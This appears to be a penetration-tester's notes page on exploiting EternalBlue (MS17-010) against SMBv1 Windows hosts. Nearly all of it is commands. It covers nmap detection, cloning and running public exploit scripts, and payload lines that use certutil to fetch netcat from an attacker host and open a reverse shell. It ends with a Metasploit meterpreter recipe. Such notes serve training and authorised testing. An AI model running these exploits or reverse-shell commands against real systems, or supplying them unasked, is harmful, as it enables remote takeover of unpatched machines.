> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/enumeration/smb-cifs/eternalblue-or-ms17-010-or-cve-2017-0144.md).

# EternalBlue |  MS17-010 | (CVE-2017-0144)

**EternalBlue** is a critical remote code execution (RCE) vulnerability in Microsoft’s SMBv1 implementation. It was disclosed in 2017 and exploited by the WannaCry and NotPetya ransomware.

***

### Vulnerable SMB Version

* **SMBv1** (port 445)
* Windows 7, Server 2008, Server 2012 R2, XP, Vista

***

### Nmap Detection

Use Nmap NSE script to detect if the target is vulnerable:

```bash
nmap -v -p 139,445 --script=smb-vuln-ms17-010.nse <target-ip>
```

***

### Manual Exploitation (Without Metasploit)

#### Clone the Vulnerability Checker

```bash
git clone https://github.com/worawit/MS17-010.git
```

```
cd MS17-010
```

#### Step 2: Check Target Vulnerability

```bash
python2.7 checker.py <target-ip>
```

Example output:

```
Target OS: Windows Server 2012 R2 Standard Evaluation 9600
The target is not patched

=== Testing named pipes ===
spoolss: Ok (64 bit)
samr: Ok (64 bit)
netlogon: Ok (64 bit)
...
```

***

### Manual Exploit via Named Pipe

#### Clone Exploit Repository

```bash
git clone https://github.com/adithyan-ak/MS17-010-Manual-Exploit
```

```
cd MS17-010-Manual-Exploit
```

#### Execute Exploit

```bash
python2.7 42315.py <target-ip> netlogon
```

#### Modify Payload (Line 923)

Example: Ping to confirm execution

```python
service_exec(conn, r'cmd /c ping <attacker-ip>')
```

Example: Download and execute reverse shell

```python
service_exec(conn, r'cmd /c certutil.exe -split -urlcache -f http://<attacker-ip>/nc64.exe C:\\Users\\Public\\nc.exe')
```

```python
service_exec(conn, r'cmd /c C:\\Users\\Public\\nc.exe -e cmd.exe <attacker-ip> 443')
```

***

### Tools and Dependencies

#### Required for Python2.7

```bash
pip2.7 install pyasn1
pip2.7 install pycryptodomex
```

***

### Metasploit Alternative

Module:

```
exploit/windows/smb/ms17_010_eternalblue
```

Command:

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <target-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker-ip>
exploit
```

***

### References

* <https://technet.microsoft.com/en-us/library/security/ms17-010.aspx>
* <https://github.com/worawit/MS17-010>
* <https://github.com/adithyan-ak/MS17-010-Manual-Exploit>
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0144>